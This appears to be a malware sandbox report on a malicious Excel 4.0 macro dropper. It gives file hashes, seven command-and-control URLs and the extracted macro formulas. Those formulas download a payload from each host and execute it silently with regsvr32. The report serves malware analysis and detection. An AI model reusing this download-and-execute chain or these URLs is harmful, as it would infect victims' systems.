a845fef3615ae2da42d3b2c16b3bb9f98394819373edf8f124f557fdb51a9881

General

Target

a845fef3615ae2da42d3b2c16b3bb9f98394819373edf8f124f557fdb51a9881
Size

38KB
Sample

241120-vlqrmazlhv
MD5

e8d045c7f8203e17cc4cd8a6f14528fc
SHA1

4260ac314ea0f77437c2f1b34b800597130f98c9
SHA256

a845fef3615ae2da42d3b2c16b3bb9f98394819373edf8f124f557fdb51a9881
SHA512

79d00a99e73c44db946dd86feb61bad978a2a58622ab014278b8c0f5d1a690e086f065359c7d38cc1d4c0433afcb00d8cdf9fa3880eb60b321f86543da347ee1
SSDEEP

768:VsnACdQR84jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIX:2A6gvOZZ1ZYpoQ/pMAeVIyP54T

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://landingpageis.com/alfacgiapi/IhZmV1LIJwi6O/

https://londoninsurancelife-lmg.com/wp-content/HukqubgSP/

https://franciscosobrado.com/wp-content/xp/

https://britainsolicitors.com/wp-admin/disNolZkYooJTascNDEk/

https://www.curtisse.com/wordpress/kXUx9P38X/

https://bsprabodhini.org/wp-content/i1e8aSEloGChNad3m/

https://toyota-4wd.com/wp-content/55d3MMJGg6CMSFhS/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://landingpageis.com/alfacgiapi/IhZmV1LIJwi6O/","..\roil.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://londoninsurancelife-lmg.com/wp-content/HukqubgSP/","..\roil.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://franciscosobrado.com/wp-content/xp/","..\roil.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/disNolZkYooJTascNDEk/","..\roil.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.curtisse.com/wordpress/kXUx9P38X/","..\roil.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bsprabodhini.org/wp-content/i1e8aSEloGChNad3m/","..\roil.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://toyota-4wd.com/wp-content/55d3MMJGg6CMSFhS/","..\roil.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\roil.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://landingpageis.com/alfacgiapi/IhZmV1LIJwi6O/